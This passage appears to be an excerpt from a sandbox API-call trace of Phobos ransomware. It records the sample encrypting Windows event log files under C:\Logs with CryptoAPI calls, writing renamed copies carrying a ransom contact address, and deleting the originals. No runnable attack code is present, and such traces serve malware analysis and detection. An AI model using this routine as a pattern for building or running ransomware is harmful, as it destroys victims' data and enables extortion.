nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0062.406] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cc30) returned 1 [0062.406] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.406] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0062.406] CryptDestroyKey (hKey=0x10cc30) returned 1 [0062.407] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0062.407] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0062.407] CloseHandle (hObject=0x338) returned 1 [0062.407] CloseHandle (hObject=0x304) returned 1 [0062.415] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1 [0062.416] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0062.416] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.421] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0062.421] CloseHandle (hObject=0x338) returned 1 [0062.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0062.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.422] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.422] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.422] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.422] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0062.422] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d170) returned 1 [0062.422] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.422] ReadFile (in: hFile=0x338, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0062.430] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0062.430] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0062.442] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cfb0) returned 1 [0062.442] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.442] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0062.442] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0062.442] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0062.442] CryptDestroyKey (hKey=0x10d170) returned 1 [0062.442] CloseHandle (hObject=0x338) returned 1 [0062.442] CloseHandle (hObject=0x320) returned 1 [0062.444] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1 [0062.445] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0062.445] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0062.446] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0062.446] CloseHandle (hObject=0x320) returned 1 [0062.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0062.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.446] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0062.446] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.446] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.446] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0062.453] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d070) returned 1 [0062.453] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.453] ReadFile (in: hFile=0x320, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0062.458] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0062.458] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0062.460] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cdf0) returned 1 [0062.460] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.460] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x70, dwBufLen=0x70 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x70) returned 1 [0062.460] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0062.460] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x122, lpOverlapped=0x0) returned 1 [0062.460] CryptDestroyKey (hKey=0x10d070) returned 1 [0062.460] CloseHandle (hObject=0x320) returned 1 [0062.460] CloseHandle (hObject=0x33c) returned 1 [0062.462] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1 [0062.464] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0062.464] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0062.464] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0062.464] CloseHandle (hObject=0x33c) returned 1 [0062.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0062.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.464] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0062.465] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.465] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.465] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0062.465] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cc30) returned 1 [0062.465] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.465] ReadFile (in: hFile=0x33c, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0062.642] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0062.642] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0062.645] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cdf0) returned 1 [0062.645] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.645] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0062.645] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0062.645] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0062.645] CryptDestroyKey (hKey=0x10cc30) returned 1 [0062.645] CloseHandle (hObject=0x33c) returned 1 [0062.645] CloseHandle (hObject=0x320) returned 1 [0062.648] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1 [0062.650] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0062.650] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0062.650] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0062.650] CloseHandle (hObject=0x320) returned 1 [0062.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0062.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.650] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0062.651] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.651] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.651] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0062.651] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d0f0) returned 1 [0062.651] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.651] ReadFile (in: hFile=0x320, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0062.653] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0062.653] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0062.655] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ceb0) returned 1 [0062.655] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.655] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xb0, dwBufLen=0xb0 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xb0) returned 1 [0062.655] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0062.655] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x162, lpOverlapped=0x0) returned 1 [0062.655] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0062.655] CloseHandle (hObject=0x320) returned 1 [0062.656] CloseHandle (hObject=0x33c) returned 1 [0062.658] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1 [0062.660] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0062.660] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0062.660] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0062.660] CloseHandle (hObject=0x33c) returned 1 [0062.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0062.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.660] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0062.660] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.660] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.660] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0062.662] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d0f0) returned 1 [0062.662] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.662] ReadFile (in: hFile=0x33c, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0062.663] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0062.663] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0062.665] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cfb0) returned 1 [0062.665] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.665] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xc0, dwBufLen=0xc0 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xc0) returned 1 [0062.665] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0062.665] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x172, lpOverlapped=0x0) returned 1 [0062.665] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0062.666] CloseHandle (hObject=0x33c) returned 1 [0062.666] CloseHandle (hObject=0x320) returned 1 [0062.668] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1 [0062.669] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0062.669] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0062.670] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0062.670] CloseHandle (hObject=0x320) returned 1 [0062.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0062.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.670] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0062.671] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.671] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, 